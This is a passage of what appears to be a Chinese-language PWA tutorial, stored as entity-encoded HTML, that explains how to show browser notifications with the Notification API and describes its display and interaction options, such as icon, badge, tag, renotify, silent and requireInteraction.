&#x53BB;&#x4FEE;&#x6539;&#x5DF2;&#x7ECF;&#x8FDB;&#x884C;&#x6388;&#x6743;&#x7684;&#x7AD9;&#x70B9;&#xFF0C;&#x800C;&#x76EE;&#x524D;&#x5927;&#x90E8;&#x5206;&#x624B;&#x673A;&#x6D4F;&#x89C8;&#x5668;&#x5219;&#x9700;&#x8981;&#x6E05;&#x9664;&#x6D4F;&#x89C8;&#x5668;&#x6570;&#x636E;&#xFF0C;&#x624D;&#x80FD;&#x591F;&#x91CD;&#x65B0;&#x6062;&#x590D;&#x901A;&#x77E5;&#x6743;&#x9650;&#x8BF7;&#x6C42;&#x5BF9;&#x8BDD;&#x6846;&#x7684;&#x5C55;&#x793A;&#xFF0C;&#x65E0;&#x8BBA;&#x54EA;&#x4E00;&#x79CD;&#x5BF9;&#x4E8E;&#x7528;&#x6237;&#x6765;&#x8BF4;&#x90FD;&#x662F;&#x975E;&#x5E38;&#x9EBB;&#x70E6;&#x7684;&#x64CD;&#x4F5C;&#x3002;&#x56E0;&#x6B64;&#x8981;&#x6C42;&#x5F00;&#x53D1;&#x8005;&#x5E94;&#x8BE5;&#x5728;&#x6700;&#x9002;&#x5F53;&#x7684;&#x65F6;&#x5019;&#x7533;&#x8BF7;&#x901A;&#x77E5;&#x6743;&#x9650;&#xFF0C;&#x5E76;&#x4E14;&#x5BF9;&#x7528;&#x6237;&#x52A0;&#x4EE5;&#x5F15;&#x5BFC;&#xFF0C;&#x8BF4;&#x660E;&#x7AD9;&#x70B9;&#x83B7;&#x53D6;&#x901A;&#x77E5;&#x6743;&#x9650;&#x7684;&#x7528;&#x9014;&#xFF0C;&#x5C3D;&#x91CF;&#x907F;&#x514D;&#x7528;&#x6237;&#x6253;&#x5F00;&#x7F51;&#x7AD9;&#x7ACB;&#x5373;&#x5F39;&#x51FA;&#x6388;&#x6743;&#x5BF9;&#x8BDD;&#x6846;&#x3002;</p>\n<p>&#x83B7;&#x5F97;&#x7528;&#x6237;&#x7684;&#x6388;&#x6743;&#x4E4B;&#x540E;&#xFF0C;&#x5C31;&#x53EF;&#x4EE5;&#x8FDB;&#x5165;&#x4E0B;&#x4E00;&#x6B65;&#x7684;&#x901A;&#x77E5;&#x5C55;&#x73B0;&#x4E0E;&#x4EA4;&#x4E92;&#x4E86;&#x3002;</p>\n<h2 id=\"&#x901A;&#x77E5;&#x5C55;&#x73B0;&#x4E0E;&#x4EA4;&#x4E92;\"><a name=\"&#x901A;&#x77E5;&#x5C55;&#x73B0;&#x4E0E;&#x4EA4;&#x4E92;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x901A;&#x77E5;&#x5C55;&#x73B0;&#x4E0E;&#x4EA4;&#x4E92;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x901A;&#x77E5;&#x5C55;&#x73B0;&#x4E0E;&#x4EA4;&#x4E92;\" class=\"plugin-anchor\" href=\"#&#x901A;&#x77E5;&#x5C55;&#x73B0;&#x4E0E;&#x4EA4;&#x4E92;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x901A;&#x77E5;&#x5C55;&#x73B0;&#x4E0E;&#x4EA4;&#x4E92;</h2>\n<p>&#x6D4F;&#x89C8;&#x5668;&#x63D0;&#x4F9B;&#x901A;&#x8FC7;&#x5B9E;&#x4F8B;&#x5316; <code>Notification</code> &#x5BF9;&#x8C61;&#x6765;&#x663E;&#x793A;&#x901A;&#x77E5;&#x3002;&#x5B9E;&#x4F8B;&#x5316; <code>Notification</code> &#x7684;&#x8BED;&#x6CD5;&#x5982;&#x4E0B;&#x6240;&#x793A;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-js\"><span class=\"token keyword\">const</span> notification <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Notification</span><span class=\"token punctuation\">(</span>title<span class=\"token punctuation\">,</span> options<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x5728;&#x5B9E;&#x4F8B;&#x5316; <code>Notification</code> &#x5BF9;&#x8C61;&#x7684;&#x540C;&#x65F6;&#xFF0C;&#x4F1A;&#x751F;&#x6210;&#x4E00;&#x6761;&#x901A;&#x77E5;&#x5E76;&#x5C55;&#x73B0;&#x51FA;&#x6765;&#x3002;&#x5728;&#x8868;&#x73B0;&#x5F62;&#x5F0F;&#x4E0A;&#x684C;&#x9762;&#x7AEF;&#x548C;&#x79FB;&#x52A8;&#x7AEF;&#x5B58;&#x5728;&#x4E00;&#x5B9A;&#x5DEE;&#x5F02;&#xFF0C;&#x5176;&#x4E2D;&#x684C;&#x9762;&#x7AEF;&#x7684;&#x901A;&#x77E5;&#x4F1A;&#x4EE5;&#x5361;&#x7247;&#x7684;&#x5F62;&#x5F0F;&#x4ECE;&#x5C4F;&#x5E55;&#x53F3;&#x4E0A;&#x89D2;&#x6216;&#x8005;&#x53F3;&#x4E0B;&#x89D2;&#x5F39;&#x51FA;&#xFF0C;&#x800C;&#x79FB;&#x52A8;&#x7AEF;&#x5219;&#x663E;&#x793A;&#x5728;&#x901A;&#x77E5;&#x680F;&#x91CC;&#x3002;</p>\n<p>&#x901A;&#x8FC7;&#x5B9E;&#x4F8B;&#x5316; <code>Notification</code> &#x65F6;&#x4F20;&#x5165;&#x7684;&#x4E0D;&#x540C;&#x53C2;&#x6570;&#xFF0C;&#x53EF;&#x4EE5;&#x5B9A;&#x5236;&#x901A;&#x77E5;&#x663E;&#x793A;&#x7684;&#x5185;&#x5BB9;&#x548C;&#x529F;&#x80FD;&#xFF0C;&#x4E0B;&#x6587;&#x4ECB;&#x7ECD;&#x4E86;&#x5E38;&#x89C1;&#x53C2;&#x6570;&#x7684;&#x7528;&#x6CD5;&#xFF0C;&#x66F4;&#x591A;&#x7528;&#x6CD5;&#x53EF;&#x4EE5;&#x53C2;&#x8003; <a href=\"https://notifications.spec.whatwg.org/#concept-notification\" target=\"_blank\">Notification &#x89C4;&#x8303;</a>&#x3002;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;&#x622A;&#x6B62;&#x76EE;&#x524D;&#x4E0A;&#x8FF0;&#x53EF;&#x9009;&#x53C2;&#x6570;&#x4EC5;&#x6709; <code>body</code>&#x3001;<code>icon</code>&#x3001;<code>data</code>&#x3001;<code>tag</code> &#x5F97;&#x5230;&#x4E86;&#x7A33;&#x5B9A;&#x7684;&#x652F;&#x6301;&#xFF0C;&#x5176;&#x4F59;&#x53C2;&#x6570;&#x4EC5;&#x6709;&#x90E8;&#x5206;&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#xFF0C;&#x56E0;&#x6B64;&#x9700;&#x8981;&#x8003;&#x8651;&#x90E8;&#x5206;&#x914D;&#x7F6E;&#x5931;&#x6548;&#x7684;&#x53EF;&#x80FD;&#x3002;</p>\n<p>&#x53E6;&#x5916;&#x5BF9;&#x4E8E;&#x90E8;&#x5206;&#x624B;&#x673A;&#x6D4F;&#x89C8;&#x5668;&#x6BD4;&#x5982; Chrome for Android&#xFF0C;&#x8981;&#x6C42;&#x5FC5;&#x987B;&#x4F9D;&#x8D56; Service Worker &#x6240;&#x63D0;&#x4F9B;&#x7684;&#x65B9;&#x6CD5;&#x6765;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#xFF0C;&#x4F7F;&#x7528; <code>new Notification()</code> &#x8FD9;&#x79CD;&#x65B9;&#x5F0F;&#x6CA1;&#x6709;&#x4EFB;&#x4F55;&#x6548;&#x679C;&#xFF0C;&#x56E0;&#x6B64;&#x672C;&#x5C0F;&#x8282;&#x793A;&#x4F8B;&#x90FD;&#x4F7F;&#x7528; Service Worker &#x65B9;&#x6CD5;&#xFF0C;&#x5728;&#x4E0B;&#x6587;&#x4E2D;&#x4F1A;&#x5355;&#x72EC;&#x8BE6;&#x7EC6;&#x4ECB;&#x7ECD;&#x4F7F;&#x7528; Service Worker &#x4E2D;&#x7684;&#x65B9;&#x6CD5;&#x6765;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#x3002;</p>\n<h3 id=\"&#x5C55;&#x73B0;&#x914D;&#x7F6E;&#x9879;\"><a name=\"&#x5C55;&#x73B0;&#x914D;&#x7F6E;&#x9879;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x5C55;&#x73B0;&#x914D;&#x7F6E;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x5C55;&#x73B0;&#x914D;&#x7F6E;&#x9879;\" class=\"plugin-anchor\" href=\"#&#x5C55;&#x73B0;&#x914D;&#x7F6E;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x5C55;&#x73B0;&#x914D;&#x7F6E;&#x9879;</h3>\n<h4 id=\"title-&#x548C;-body\"><a name=\"title-&#x548C;-body\" class=\"anchor-navigation-ex-anchor\" href=\"#title-&#x548C;-body\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"title-&#x548C;-body\" class=\"plugin-anchor\" href=\"#title-&#x548C;-body\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>title &#x548C; body</h4>\n<p>&#x6807;&#x9898;&#x548C;&#x6587;&#x672C;&#x7528;&#x4E8E;&#x663E;&#x793A;&#x4E0D;&#x540C;&#x7684;&#x901A;&#x77E5;&#x4FE1;&#x606F;&#xFF0C;&#x662F;&#x6700;&#x5E38;&#x89C1;&#x7684;&#x901A;&#x77E5;&#x5F62;&#x5F0F;&#x3002;&#x5F53;&#x6807;&#x9898;&#x548C;&#x6587;&#x672C;&#x8FC7;&#x957F;&#x65F6;&#xFF0C;&#x4E0D;&#x540C;&#x7684;&#x6D4F;&#x89C8;&#x5668;&#x548C;&#x7CFB;&#x7EDF;&#x4F1A;&#x5C55;&#x73B0;&#x4E0D;&#x540C;&#x7684;&#x6548;&#x679C;&#xFF0C;&#x6709;&#x7684;&#x4F1A;&#x5BF9;&#x901A;&#x77E5;&#x8FDB;&#x884C;&#x622A;&#x65AD;&#x5904;&#x7406;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">const</span> title <span class=\"token operator\">=</span> <span class=\"token string\">&apos;PWA-Book-Demo Notification Title&apos;</span>\n<span class=\"token keyword\">const</span> options <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n    body<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;Simple piece of body text.\\nSecond line of body text :)&apos;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">const</span> notification <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Notification</span><span class=\"token punctuation\">(</span>title<span class=\"token punctuation\">,</span> options<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x4EE5;&#x4E0A;&#x793A;&#x4F8B;&#x5728; PC Chrome &#x4E0A;&#x663E;&#x793A;&#x6548;&#x679C;&#x5982;&#x4E0B;&#x56FE;&#xFF1A;</p>\n<p><img src=\"img/display-notification-desktop.jpg\" alt=\"PC &#x7AEF;&#x7EAF;&#x6587;&#x672C;&#x901A;&#x77E5;\"></p>\n<p>&#x5728;&#x624B;&#x673A;&#x4E0A;&#x663E;&#x793A;&#x6548;&#x679C;&#x4E3A;&#xFF1A;</p>\n<p><img src=\"img/display-notification-title-body.jpg\" alt=\"&#x4E09;&#x661F;&#x624B;&#x673A;&#x4E0A;&#x7EAF;&#x6587;&#x672C;&#x901A;&#x77E5;\"></p>\n<h4 id=\"icon\"><a name=\"icon\" class=\"anchor-navigation-ex-anchor\" href=\"#icon\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"icon\" class=\"plugin-anchor\" href=\"#icon\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>icon</h4>\n<p>&#x914D;&#x7F6E;&#x56FE;&#x7247; URL &#x5730;&#x5740;&#xFF0C;&#x7528;&#x6765;&#x5728;&#x6807;&#x9898;&#x548C;&#x6587;&#x672C;&#x65C1;&#x8FB9;&#x663E;&#x793A;&#x7684;&#x5C0F;&#x56FE;&#x7247;&#x3002;&#x76EE;&#x524D;&#x5BF9;&#x4E8E;&#x56FE;&#x6807;&#x4F7F;&#x7528;&#x7684;&#x56FE;&#x7247;&#x5C3A;&#x5BF8;&#xFF0C;&#x5E76;&#x6CA1;&#x6709;&#x53EF;&#x9760;&#x7684;&#x89C4;&#x8303;&#x548C;&#x6307;&#x5BFC;&#xFF0C;&#x5982;&#x679C;&#x6211;&#x4EEC;&#x7684;&#x8BBE;&#x5907;&#x50CF;&#x7D20;&#x6BD4;&#xFF08;DPR&#xFF09;&#x662F; 3&#xFF0C;&#x4F7F;&#x7528; 192px &#x6216;&#x66F4;&#x9AD8;&#x7684;&#x56FE;&#x7247;&#x5927;&#x5C0F;&#x662F;&#x6BD4;&#x8F83;&#x597D;&#x7684;&#x9009;&#x62E9;&#x3002;</p>\n<p>&#x5728;&#x624B;&#x673A;&#x4E0A;&#x5C55;&#x793A;&#x6548;&#x679C;&#x7C7B;&#x4F3C;&#x4E0B;&#x56FE;&#xFF1A;</p>\n<p><img src=\"img/display-notification-icon.jpg\" alt=\"&#x4E09;&#x661F;&#x624B;&#x673A;&#x4E0A;&#x5E26;&#x6709; icon &#x7684;&#x901A;&#x77E5;\"></p>\n<h4 id=\"image\"><a name=\"image\" class=\"anchor-navigation-ex-anchor\" href=\"#image\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"image\" class=\"plugin-anchor\" href=\"#image\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>image</h4>\n<p>&#x7528;&#x4E8E;&#x5728;&#x901A;&#x77E5;&#x4E2D;&#x589E;&#x52A0;&#x9884;&#x89C8;&#x56FE;&#x7247;&#xFF0C;&#x7531;&#x4E8E;&#x684C;&#x9762;&#x548C;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#x7684;&#x6BD4;&#x4F8B;&#x4E0D;&#x540C;&#xFF0C;&#x4E0D;&#x540C;&#x624B;&#x673A;&#x4E0A;&#x6548;&#x679C;&#x88C1;&#x526A;&#x548C;&#x6BD4;&#x4F8B;&#x4E5F;&#x53EF;&#x80FD;&#x4E0D;&#x540C;&#xFF0C;&#x540C;&#x6837;&#x5F88;&#x96BE;&#x5BF9;&#x56FE;&#x7247;&#x5C3A;&#x5BF8;&#x5236;&#x5B9A;&#x89C4;&#x8303;&#x3002;</p>\n<p>&#x5728;&#x624B;&#x673A;&#x4E0A;&#x5305;&#x542B;&#x56FE;&#x7247;&#x7684;&#x901A;&#x77E5;&#x6709;&#x65F6;&#x4F1A;&#x88AB;&#x6298;&#x53E0;&#xFF0C;&#x9700;&#x8981;&#x7528;&#x6237;&#x5411;&#x4E0B;&#x6ED1;&#x52A8;&#x624D;&#x5C06;&#x901A;&#x77E5;&#x4E2D;&#x7684;&#x56FE;&#x7247;&#x5C55;&#x793A;&#x51FA;&#x6765;&#x3002;&#x4E0B;&#x56FE;&#x662F;&#x4E00;&#x4E2A;&#x5305;&#x542B;&#x56FE;&#x7247;&#x901A;&#x77E5;&#x7684;&#x793A;&#x4F8B;&#xFF1A;</p>\n<p><img src=\"img/display-notification-image.jpg\" alt=\"&#x4E09;&#x661F;&#x624B;&#x673A;&#x4E0A;&#x5E26;&#x6709;&#x56FE;&#x7247;&#x7684;&#x901A;&#x77E5;\"></p>\n<h4 id=\"badge\"><a name=\"badge\" class=\"anchor-navigation-ex-anchor\" href=\"#badge\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"badge\" class=\"plugin-anchor\" href=\"#badge\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>badge</h4>\n<p>&#x5C55;&#x73B0;&#x7F29;&#x7565;&#x4FE1;&#x606F;&#x65F6;&#x4F7F;&#x7528;&#x7684;&#x5355;&#x8272;&#x56FE;&#x6807;&#xFF0C;&#x7528;&#x4E8E;&#x5411;&#x7528;&#x6237;&#x63CF;&#x8FF0;&#x6709;&#x5173;&#x901A;&#x77E5;&#x6765;&#x6E90;&#x7684;&#x66F4;&#x591A;&#x4FE1;&#x606F;&#xFF0C;&#x6B64;&#x9009;&#x9879;&#x53EA;&#x9002;&#x7528;&#x4E8E;&#x79FB;&#x52A8;&#x8BBE;&#x5907;&#xFF0C;&#x4E00;&#x822C;&#x9ED8;&#x8BA4;&#x663E;&#x793A;&#x4E3A;&#x6D4F;&#x89C8;&#x5668;&#x7684;&#x7F29;&#x7565;&#x56FE;&#x6807;&#x3002;&#x6839;&#x636E; Native App &#x7ECF;&#x9A8C;&#xFF0C;&#x5EFA;&#x8BAE;&#x56FE;&#x7247;&#x5927;&#x5C0F;&#x4E3A; 24px &#x4E58;&#x50CF;&#x7D20;&#x6BD4;&#x7387;&#xFF0C;&#x56E0;&#x6B64;&#x56FE;&#x7247;&#x5927;&#x5C0F;&#x6700;&#x597D;&#x4F7F;&#x7528; 72px &#x53CA;&#x4EE5;&#x4E0A;&#x3002;</p>\n<p><img src=\"img/display-notification-badge-on-nav.jpg\" alt=\"&#x663E;&#x793A;&#x5728;&#x901A;&#x77E5;&#x680F;&#x91CC;&#x7684; badge\"></p>\n<p><img src=\"img/display-notification-badge.jpg\" alt=\"&#x663E;&#x793A;&#x5728;&#x901A;&#x77E5;&#x5185;&#x5BB9;&#x4E0A;&#x65B9;&#x7684; badge\"></p>\n<h4 id=\"direction\"><a name=\"direction\" class=\"anchor-navigation-ex-anchor\" href=\"#direction\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"direction\" class=\"plugin-anchor\" href=\"#direction\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>direction</h4>\n<p>dir &#x53C2;&#x6570;&#x7528;&#x4E8E;&#x8BBE;&#x7F6E;&#x6587;&#x672C;&#x7684;&#x663E;&#x793A;&#x65B9;&#x5411;&#xFF0C;&#x9ED8;&#x8BA4;&#x503C;&#x4E3A; <code>auto</code>&#xFF0C;&#x53EF;&#x53D6;&#x503C;&#x4E3A; <code>ltr</code> &#x548C; <code>rtl</code>&#xFF0C;&#x5206;&#x522B;&#x4EE3;&#x8868;&#x201C;&#x4ECE;&#x5DE6;&#x5F80;&#x53F3;&#x201D;&#x548C;&#x201C;&#x4ECE;&#x53F3;&#x5F80;&#x5DE6;&#x201D;&#x3002;&#x5728;&#x9ED8;&#x8BA4;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x4E2D;&#x6587;&#x3001;&#x82F1;&#x8BED;&#x3001;&#x6CD5;&#x8BED;&#x7B49;&#x4F1A;&#x9ED8;&#x8BA4;&#x4ECE;&#x5DE6;&#x5F80;&#x53F3;&#x663E;&#x793A;&#xFF0C;&#x800C;&#x963F;&#x62C9;&#x4F2F;&#x8BED;&#x7B49;&#x4ECE;&#x53F3;&#x5F80;&#x5DE6;&#x663E;&#x793A;&#x3002;</p>\n<h4 id=\"vibrate\"><a name=\"vibrate\" class=\"anchor-navigation-ex-anchor\" href=\"#vibrate\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"vibrate\" class=\"plugin-anchor\" href=\"#vibrate\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>vibrate</h4>\n<p>&#x7528;&#x4E8E;&#x8BBE;&#x7F6E;&#x901A;&#x77E5;&#x7684;&#x632F;&#x52A8;&#x6A21;&#x5F0F;&#xFF0C;&#x53C2;&#x6570;&#x683C;&#x5F0F;&#x4E3A;&#x6570;&#x5B57;&#x6570;&#x7EC4;&#xFF0C;&#x6570;&#x7EC4;&#x63CF;&#x8FF0;&#x4E86;&#x632F;&#x52A8;&#x4EA4;&#x66FF;&#x7684;&#x6BEB;&#x79D2;&#x6570;&#x3002;&#x4F8B;&#x5982; [200, 100] &#x4EE3;&#x8868;&#x9996;&#x5148;&#x632F;&#x52A8; 200 &#x6BEB;&#x79D2;&#xFF0C;&#x7136;&#x540E;&#x505C;&#x6B62; 100 &#x6BEB;&#x79D2;&#xFF0C;&#x5982;&#x6B64;&#x53CD;&#x590D;&#x3002;</p>\n<h3 id=\"&#x4EA4;&#x4E92;&#x914D;&#x7F6E;&#x9879;\"><a name=\"&#x4EA4;&#x4E92;&#x914D;&#x7F6E;&#x9879;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4EA4;&#x4E92;&#x914D;&#x7F6E;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4EA4;&#x4E92;&#x914D;&#x7F6E;&#x9879;\" class=\"plugin-anchor\" href=\"#&#x4EA4;&#x4E92;&#x914D;&#x7F6E;&#x9879;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x4EA4;&#x4E92;&#x914D;&#x7F6E;&#x9879;</h3>\n<h4 id=\"tag\"><a name=\"tag\" class=\"anchor-navigation-ex-anchor\" href=\"#tag\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"tag\" class=\"plugin-anchor\" href=\"#tag\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>tag</h4>\n<p>&#x6807;&#x7B7E;&#x9009;&#x9879;&#x662F;&#x4E00;&#x4E2A;&#x5B57;&#x7B26;&#x4E32; ID&#xFF0C;&#x5177;&#x6709;&#x76F8;&#x540C; tag &#x7684;&#x901A;&#x77E5;&#x4F1A;&#x88AB;&#x5206;&#x7C7B;&#x5230;&#x4E00;&#x8D77;&#xFF0C;&#x53EF;&#x4EE5;&#x7B80;&#x5355;&#x7684;&#x5411;&#x7528;&#x6237;&#x663E;&#x793A;&#x591A;&#x4E2A;&#x901A;&#x77E5;&#x3002;</p>\n<p>&#x901A;&#x8FC7;&#x4EE5;&#x4E0B;&#x793A;&#x4F8B;&#x53EF;&#x4EE5;&#x4E86;&#x89E3; tag &#x7684;&#x7528;&#x6CD5;&#xFF0C;&#x5148;&#x5C55;&#x793A;&#x4E00;&#x4E2A;&#x6709; tag &#x4E3A; &quot;error&quot; &#x7684;&#x901A;&#x77E5;&#xFF1A;</p>\n<pre class=\"language-\"><code class=\"lang-javascript\"><span class=\"token keyword\">const</span> title <span class=\"token operator\">=</span> <span class=\"token string\">&apos;PWA-Book-Demo &#x6D4B;&#x8BD5; tag: error&apos;</span>\n<span class=\"token keyword\">const</span> options <span class=\"token operator\">=</span> <span class=\"token punctuation\">{</span>\n  body<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;&#x7B2C;&#x4E00;&#x6761; tag: error &#x901A;&#x77E5;&apos;</span><span class=\"token punctuation\">,</span>\n  tag<span class=\"token punctuation\">:</span> <span class=\"token string\">&apos;error&apos;</span>\n<span class=\"token punctuation\">}</span>\n<span class=\"token keyword\">const</span> notification <span class=\"token operator\">=</span> <span class=\"token keyword\">new</span> <span class=\"token class-name\">Notification</span><span class=\"token punctuation\">(</span>title<span class=\"token punctuation\">,</span> options<span class=\"token punctuation\">)</span>\n</code></pre>\n<p>&#x7B2C;&#x4E00;&#x6761;&#x63D0;&#x793A;&#x5982;&#x4E0B;&#x56FE;&#xFF1A;</p>\n<p><img src=\"img/display-notification-tag-first.jpg\" alt=\"&#x7B2C;&#x4E00;&#x6761; tag &#x4E3A; error &#x7684;&#x901A;&#x77E5;\"></p>\n<p>&#x63A5;&#x7740;&#x53D1;&#x9001;&#x7B2C;&#x4E8C;&#x6761;&#x65B0;&#x7684; tag &#x4E3A; &quot;warning&quot; &#x901A;&#x77E5;&#xFF0C;&#x5982;&#x56FE;&#x6240;&#x793A;&#xFF1A;</p>\n<p><img src=\"img/display-notification-tag-second.jpg\" alt=\"&#x7B2C;&#x4E8C;&#x6761;&#x901A;&#x77E5;&#xFF0C;tag &#x4E3A; warning\"></p>\n<p>&#x6700;&#x540E;&#x4ECD;&#x7136;&#x53D1;&#x9001; tag &#x4E3A;  &quot;error&quot; &#x7684;&#x7B2C;&#x4E09;&#x6761;&#x6D88;&#x606F;&#xFF0C;&#x53EF;&#x4EE5;&#x770B;&#x5230;&#x8FD9;&#x6761;&#x6D88;&#x606F;&#x9759;&#x9ED8;&#x66FF;&#x6362;&#x4E86;&#x7B2C;&#x4E00;&#x6761;&#x6D88;&#x606F;&#xFF1A;</p>\n<p><img src=\"img/display-notification-tag-third.jpg\" alt=\"&#x7B2C;&#x4E8C;&#x6761; tag &#x4E3A; error &#x7684;&#x901A;&#x77E5;&#x4EE3;&#x66FF;&#x4E86;&#x7B2C;&#x4E00;&#x6761;\"></p>\n<h4 id=\"renotify\"><a name=\"renotify\" class=\"anchor-navigation-ex-anchor\" href=\"#renotify\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"renotify\" class=\"plugin-anchor\" href=\"#renotify\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>renotify</h4>\n<p>&#x4F7F;&#x7528; tag &#x8FDB;&#x884C;&#x901A;&#x77E5;&#x66FF;&#x4EE3;&#x65F6;&#xFF0C;&#x662F;&#x6CA1;&#x6709;&#x58F0;&#x97F3;&#x548C;&#x9707;&#x52A8;&#x7684;&#x3002;&#x4F7F;&#x7528; <code>renotify: true</code> &#x53EF;&#x4EE5;&#x5728;&#x5C55;&#x793A;&#x591A;&#x4E2A;&#x901A;&#x77E5;&#x65F6;&#x4E5F;&#x80FD;&#x591F;&#x901A;&#x8FC7;&#x58F0;&#x97F3;&#x548C;&#x9707;&#x52A8;&#x63D0;&#x793A;&#x7528;&#x6237;&#x3002;&#x9700;&#x8981;&#x6CE8;&#x610F;&#x7684;&#x662F;&#xFF0C;renotify &#x662F;&#x548C; tag &#x9009;&#x9879;&#x914D;&#x5408;&#x4F7F;&#x7528;&#x7684;&#xFF0C;&#x5982;&#x679C;&#x8BBE;&#x7F6E;&#x4E86; <code>renotify: true</code> &#x4F46;&#x6CA1;&#x6709;&#x4F7F;&#x7528; <code>tag</code> &#x53C2;&#x6570;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x53EF;&#x80FD;&#x4F1A;&#x63D0;&#x793A;&#x53D1;&#x751F;&#x9519;&#x8BEF;&#x3002;</p>\n<h4 id=\"silent\"><a name=\"silent\" class=\"anchor-navigation-ex-anchor\" href=\"#silent\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"silent\" class=\"plugin-anchor\" href=\"#silent\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>silent</h4>\n<p>&#x901A;&#x77E5;&#x5C55;&#x73B0;&#x7684;&#x65F6;&#x5019;&#x662F;&#x5426;&#x5173;&#x95ED;&#x58F0;&#x97F3;&#x548C;&#x632F;&#x52A8;&#xFF0C;&#x9ED8;&#x8BA4;&#x4E3A; <code>false</code>&#xFF0C;&#x8868;&#x793A;&#x9ED8;&#x8BA4;&#x5C55;&#x73B0;&#x901A;&#x77E5;&#x65F6;&#x6709;&#x58F0;&#x97F3;&#x6709;&#x632F;&#x52A8;&#x3002;&#x5982;&#x679C;&#x901A;&#x77E5;&#x4E0D;&#x5E0C;&#x671B;&#x7528;&#x6237;&#x7ACB;&#x5373;&#x5173;&#x6CE8;&#xFF0C;&#x53EF;&#x4EE5;&#x8BBE;&#x7F6E;&#x4E3A; <code>true</code>&#x3002;&#x5982;&#x679C;&#x540C;&#x65F6;&#x5B9A;&#x4E49;&#x4E86; silent &#x548C; renotify&#xFF0C;silent &#x4F18;&#x5148;&#x7EA7;&#x66F4;&#x9AD8;&#x3002;</p>\n<h4 id=\"requireinteraction\"><a name=\"requireinteraction\" class=\"anchor-navigation-ex-anchor\" href=\"#requireinteraction\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"requireinteraction\" class=\"plugin-anchor\" href=\"#requireinteraction\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>requireInteraction</h4>\n<p>&#x5728;&#x684C;&#x9762;&#x7AEF;&#x9ED8;&#x8BA4;&#x60C5;&#x51B5;&#x4E0B;&#xFF0C;&#x901A;&#x77E5;&#x4F1A;&#x5728;&#x663E;&#x793A;&#x4E00;&#x6BB5;&#x65F6;&#x95F4;&#x540E;&#x81EA;&#x52A8;&#x9690;&#x85CF;&#xFF0C;&#x800C;&#x5728;&#x79FB;&#x52A8;&#x7AEF;&#x4E0A;&#x4F1A;&#x4E00;&#x76F4;&#x663E;&#x793A;&#x901A;&#x77E5;&#xFF0C;&#x76F4;&#x5230;&#x7528;&#x6237;&#x4E0E;&#x5176;&#x4EA4;&#x4E92;&#x3002;&#x5982;&#x679C;&#x5E0C;&#x671B;&#x684C;&#x9762;&#x548C;&#x79FB;&#x52A8;&#x7AEF;&#x4E00;&#x81F4;&#xFF0C;&#x53EF;&#x5C06;  <code>requireInteraction</code> &#x8BBE;&#x7F6E;&#x4E3A; <code>true</code> &#x3002;&#x5728;&#x4F7F;&#x7528;&#x8FD9;&#x4E2A;&#x914D;&#x7F6E;&#x9879;&#x65F6;&#x9700;&#x8981;&#x683C;&#x5916;&#x800C;&#x6CE8;&#x610F;&#xFF0C;&#x56E0;&#x4E3A;&#x8FD9;&#x6837;&#x53EF;&#x80FD;&#x4F1A;&#x5BFC;&#x81F4;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x4E0B;&#x964D;&#x3002;</p>\n<h3 id=\"&#x4EA4;&#x4E92;&#x4E8B;&#x4EF6;\"><a name=\"&#x4EA4;&#x4E92;&#x4E8B;&#x4EF6;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x4EA4;&#x4E92;&#x4E8B;&#x4EF6;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x4EA4;&#x4E92;&#x4E8B;&#x4EF6;\" class=\"plugin-anchor\" href=\"#&#x4EA4;&#x4E92;&#x4E8B;&#x4EF6;\"><i class=\"fa fa-link\" 